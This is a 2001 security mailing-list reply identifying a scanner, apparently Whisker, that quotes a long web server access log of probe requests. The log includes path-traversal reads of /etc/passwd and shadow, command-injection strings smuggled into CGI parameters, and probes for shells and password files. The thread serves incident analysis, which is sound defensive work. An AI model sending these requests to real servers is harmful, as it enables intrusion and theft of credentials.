RE: Automated scan-for-webserver-vulns tool ?

From: Steve Halligan (agent33at_private)
Date: Thu Oct 04 2001 - 09:04:19 PDT

  • Next message: Valdis.Kletnieksat_private: "Re: Help: Weird email received & E-Safe Alert"

    Looks like Whisker to me.
    http://www.wiretrip.net/rfp/p/doc.asp?id=21&iface=2
    
    > -----Original Message-----
    > From: Guy Poizat [mailto:poizatat_private]
    > Sent: Thursday, October 04, 2001 8:07 AM
    > To: incidentsat_private
    > Subject: Automated scan-for-webserver-vulns tool ?
    > 
    > 
    > Hi,
    > 
    > Got these entries (2 times same day from different IPs) in an 
    > access.log 
    > (among tons of Nimda requests, of course).
    > Anybody know what kind of kiddietool does that ?
    > 
    > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    > 64.226.243.16 - - [24/Sep/2001:08:26:06 +0200] "GET / 
    > HTTP/1.1" 200 5525 
    > "-" "-"
    > 64.226.243.16 - - [24/Sep/2001:08:26:07 +0200] "HEAD 
    > /qweiop43809442fsfjflr.html HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:26:07 +0200] "GET / 
    > HTTP/1.1" 200 5525 
    > "-" "-"
    > 64.226.243.16 - - [24/Sep/2001:08:26:08 +0200] "HEAD 
    > /../../etc/passwd 
    > HTTP/1.1" 400 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:26:09 +0200] "HEAD 
    > /../../../../../etc/passwd HTTP/1.1" 400 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:26:09 +0200] "HEAD 
    > /../../../../etc/passwd HTTP/1.1" 400 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:26:10 +0200] "HEAD 
    > /../../../etc/passwd 
    > HTTP/1.1" 400 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:26:10 +0200] "HEAD /../../passwd 
    > HTTP/1.1" 400 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:26:10 +0200] "HEAD /../../shadow 
    > HTTP/1.1" 400 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:05 +0200] "GET 
    > /NULL.printer HTTP/1.1" 
    > 404 6241 "-" "-"
    > 64.226.243.16 - - [24/Sep/2001:08:27:22 +0200] "HEAD /cgi/ 
    > HTTP/1.1" 403 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:23 +0200] "HEAD 
    > /admin-serv/config/admpw  HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:23 +0200] "HEAD 
    > /publisher                HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:23 +0200] "HEAD /whois_raw.cgi 
    > HTTP/1.1" 403 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:24 +0200] "HEAD /whois_raw.cgi 
    > HTTP/1.1" 403 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:31 +0200] "HEAD /web_store.cgi 
    > HTTP/1.1" 403 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:32 +0200] "HEAD 
    > /usr/local/apache/share/htdocs/.htaccess HTTP/1.1" 404 0 "-" 
    > "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:32 +0200] "HEAD 
    > /userreg.cgi?cmd=insert</=eng&tnum=3&fld1=test999%0acat</var/s
    > pool/mail/login>>/etc/passwd 
    > HTTP/1.1" 403 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:32 +0200] "HEAD 
    > /userreg.cgi?cmd=insert</=eng&tnum=3&fld1=test999%0acat</var/s
    > pool/mail/login>>/etc/passwd 
    > HTTP/1.1" 403 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:33 +0200] "HEAD /quikstore.cfg 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:34 +0200] "HEAD /pw/storemgr.pw 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:34 +0200] "HEAD /pw/storemgr.pw 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:35 +0200] "HEAD 
    > /publisher/ HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:36 +0200] "HEAD 
    > /PSUser/PSCOErrPage.htm HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:36 +0200] "HEAD 
    > /prxdocs/misc/prxrch.idq HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:37 +0200] "HEAD /ping 
    > HTTP/1.1" 404 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:37 +0200] "HEAD /ping 
    > HTTP/1.1" 404 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:39 +0200] "HEAD 
    > /photoads/cgi-bin/env.cgi HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:27:40 +0200] "HEAD 
    > /photoads/ads_data.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:28:55 +0200] "HEAD 
    > /PDG_Cart/shopper.conf 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:28:56 +0200] "HEAD 
    > /PDG_Cart/order.log 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:30:05 +0200] "HEAD 
    > /ows-bin/perlidlc.bat 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:30:05 +0200] "HEAD 
    > /orders/orders.txt 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:30:06 +0200] "HEAD 
    > /orders/orders.txt 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:01 +0200] "HEAD 
    > /Orders/order.log 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:01 +0200] "HEAD 
    > /Orders/order.log 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:02 +0200] "HEAD 
    > /orders/mountain.cfg 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:03 +0200] "HEAD 
    > /orders/import.txt 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:03 +0200] "HEAD /order/order.log 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:04 +0200] "HEAD /order/order.log 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:04 +0200] "HEAD 
    > /null.htw HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:05 +0200] "HEAD /ncl_items.html 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:06 +0200] "HEAD 
    > /navigate/ews/ews/architext_query.pl HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:06 +0200] "HEAD 
    > /names.nsf HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:08 +0200] "HEAD 
    > /manage/cgi/cgiproc 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:09 +0200] "HEAD 
    > /manage/cgi/cgiproc 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:10 +0200] "HEAD 
    > /mall_log_files/order.log HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:10 +0200] "HEAD /logs 
    > HTTP/1.1" 404 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:11 +0200] "HEAD 
    > /log.nsf/ HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:11 +0200] "HEAD /log.nsf 
    > HTTP/1.1" 404 
    > 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:12 +0200] "HEAD /log 
    > HTTP/1.1" 404 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:12 +0200] "HEAD 
    > /font9.css HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:29 +0200] "HEAD 
    > /ews/ews/architext_query.pl HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:29 +0200] "HEAD 
    > /domlog.nsf/ HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:30 +0200] "HEAD 
    > /domlog.nsf HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:32 +0200] "HEAD 
    > /domcfg.nsf/?open 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:32 +0200] "HEAD 
    > /domcfg.nsf/ HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:33 +0200] "HEAD 
    > /domcfg.nsf HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:36 +0200] "HEAD /database.nsf 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:37 +0200] "HEAD 
    > /cool-logs/mylog.html 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:37 +0200] "HEAD 
    > /cool-logs/mlog.html 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:37 +0200] "HEAD /cgi-src/phf.c 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:52 +0200] "HEAD /cgi-src 
    > HTTP/1.1" 404 
    > 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:31:54 +0200] "HEAD /cgi-src 
    > HTTP/1.1" 404 
    > 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:06 +0200] "HEAD 
    > /cgi-bin/zsh HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:07 +0200] "HEAD /cgi-bin/www-sql 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:07 +0200] "HEAD 
    > /cgi-bin/wwwboard.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:11 +0200] "HEAD 
    > /cgi-bin/wwwboard.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:12 +0200] "HEAD 
    > /cgi-bin/wwwadmin.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:12 +0200] "HEAD 
    > /cgi-bin/wrap.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:13 +0200] "HEAD /cgi-bin/wrap 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:13 +0200] "HEAD /cgi-Bin/wrap 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:13 +0200] "HEAD 
    > /cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd HTTP/1.1" 404 0 "-" 
    > "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:14 +0200] "HEAD 
    > /cgi-bin/whois_raw.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:17 +0200] "HEAD 
    > /cgi-bin/webwho.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:17 +0200] "HEAD 
    > /cgi-bin/websendmail 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:21 +0200] "HEAD /cgi-bin/webplus 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:21 +0200] "HEAD 
    > /cgi-bin/webmap.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:21 +0200] "HEAD /cgi-bin/webgais 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:21 +0200] "HEAD 
    > /Cgi-Bin/webdist.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:22 +0200] "HEAD 
    > /Cgi-Bin/webdist.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:23 +0200] "HEAD 
    > /cgi-bin/webbbs.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:23 +0200] "HEAD /cgi-bin/wais.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:23 +0200] "HEAD 
    > /cgi-bin/w3tvars.pm 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:24 +0200] "HEAD /cgi-bin/w3-sql 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:24 +0200] "HEAD /cgi-bin/w3-sql 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:25 +0200] "HEAD /cgi-bin/w3-msql 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:26 +0200] "HEAD /cgi-bin/w3-msql 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:27 +0200] "HEAD 
    > /cgi-bin/view-source 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:27 +0200] "HEAD 
    > /cgi-bin/userfile.dat 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:27 +0200] "HEAD 
    > /cgi-bin/user.log 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:28 +0200] "HEAD 
    > /cgi-bin/user.dat 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:28 +0200] "HEAD /cgi-bin/uptime 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:28 +0200] "HEAD 
    > /cgi-bin/upload.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:29 +0200] "HEAD /cgi-bin/unlg1.2 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:30 +0200] "HEAD /cgi-bin/unlg1.1 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:30 +0200] "HEAD 
    > /cgi-bin/UltraBoard.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:30 +0200] "HEAD 
    > /cgi-bin/UltraBoard.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:30 +0200] "HEAD 
    > /cgi-bin/UltraBoard.cgi HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:31 +0200] "HEAD 
    > /cgi-bin/tpgnrock 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:39 +0200] "HEAD 
    > /cgi-bin/textcounter.pl HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:39 +0200] "HEAD 
    > /cgi-bin/test-env 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:39 +0200] "HEAD 
    > /cgi-bin/test-cgi?* 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:40 +0200] "HEAD 
    > /Cgi-Bin/test-cgi/* 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:40 +0200] "HEAD 
    > /cgi-bin/test-cgi.tcl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:41 +0200] "HEAD 
    > /cgi-bin/test-cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:41 +0200] "HEAD /Cgi-Bin/testcgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:42 +0200] "HEAD /cgi-bin/tcsh 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:42 +0200] "HEAD /Cgi-Bin/tcsh 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:42 +0200] "HEAD 
    > /cgi-bin/survey.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:43 +0200] "HEAD /cgi-bin/survey 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:47 +0200] "HEAD 
    > /cgi-bin/status.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:53 +0200] "HEAD 
    > /Cgi-Bin/sojourn.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:54 +0200] "HEAD /cgi-bin/sojourn 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:56 +0200] "HEAD 
    > /cgi-bin/shop.cgi/page=../../../../etc/passwd  HTTP/1.1" 404 0 "-" 
    > "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:57 +0200] "HEAD 
    > /cgi-bin/shop.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:57 +0200] "HEAD 
    > /cgi-bin/sh HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:57 +0200] "HEAD 
    > /Cgi-Bin/sh HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:57 +0200] "HEAD 
    > /Cgi-Bin/sh HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:57 +0200] "HEAD 
    > /cgi-bin/settings.cfg 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:32:58 +0200] "HEAD 
    > /cgi-bin/sendform.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:04 +0200] "HEAD 
    > /Cgi-Bin/search.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:04 +0200] "HEAD 
    > /cgi-bin/sawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1 
    > HTTP/1.1" 404 
    > 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:05 +0200] "HEAD 
    > /cgi-bin/sawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1 
    > HTTP/1.1" 404 
    > 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:05 +0200] "HEAD 
    > /cgi-bin/rwwwshell.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:06 +0200] "HEAD 
    > /cgi-bin/rsh HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:06 +0200] "HEAD 
    > /cgi-bin/rpm_query 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:06 +0200] "HEAD /cgi-bin/rksh 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:35 +0200] "HEAD 
    > /cgi-bin/responder 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:35 +0200] "HEAD 
    > /cgi-bin/redirect 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:35 +0200] "HEAD /cgi-bin/query 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:36 +0200] "HEAD 
    > /cgi-bin/process_bug.cgi HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:36 +0200] "HEAD 
    > /cgi-bin/printenv 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:54 +0200] "HEAD 
    > /cgi-bin/post-query 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:55 +0200] "HEAD 
    > /cgi-bin/post-query 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:58 +0200] "HEAD 
    > /cgi-bin/plusmail 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:59 +0200] "HEAD /cgi-bin/phpscan 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:33:59 +0200] "HEAD /cgi-bin/php.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:00 +0200] "HEAD 
    > /cgi-bin/php HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:00 +0200] "HEAD 
    > /cgi-bin/photo_cfg.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:04 +0200] "HEAD /cgi-bin/phf.pp 
    > HTTP/1.1" 302 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:05 +0200] "HEAD /cgi-bin/phf.cgi 
    > HTTP/1.1" 302 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:05 +0200] "HEAD 
    > /cgi-bin/phf HTTP/1.1" 
    > 302 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:05 +0200] "HEAD 
    > /Cgi-Bin/phf HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:06 +0200] "HEAD 
    > /cgi-bin/pfdisplay.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:06 +0200] "HEAD 
    > /cgi-bin/pfdisplay 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:07 +0200] "HEAD 
    > /cgi-bin/pfdispaly.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:08 +0200] "HEAD 
    > /cgi-bin/perlshop.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:08 +0200] "HEAD 
    > /cgi-bin/perlshop.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:09 +0200] "HEAD /cgi-bin/perl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:10 +0200] "HEAD 
    > /cgi-bin/password.log 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:10 +0200] "HEAD 
    > /cgi-bin/password.dat 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:10 +0200] "HEAD 
    > /cgi-bin/password 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:12 +0200] "HEAD 
    > /cgi-bin/passwd.txt 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:14 +0200] "HEAD /cgi-bin/passwd 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:14 +0200] "HEAD 
    > /Cgi-Bin/nph-test-cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:15 +0200] "HEAD 
    > /Cgi-Bin/nph-test-cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:15 +0200] "HEAD 
    > /cgi-bin/nph-test-cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:17 +0200] "HEAD 
    > /cgi-bin/nph-error.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:17 +0200] "HEAD 
    > /cgi-bin/nlog-smb.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:17 +0200] "HEAD /cgi-bin/netstat 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:17 +0200] "HEAD 
    > /cgi-bin/mylog.phtml 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:17 +0200] "HEAD 
    > /cgi-bin/mlog.phtml 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:17 +0200] "HEAD /cgi-bin/man.sh 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:18 +0200] "HEAD 
    > /cgi-bin/makechanges/easysteps/easysteps.pl HTTP/1.1" 404 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:44 +0200] "HEAD 
    > /cgi-bin/maillist.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:45 +0200] "HEAD /cgi-bin/mail 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:48 +0200] "HEAD /cgi-bin/mail 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
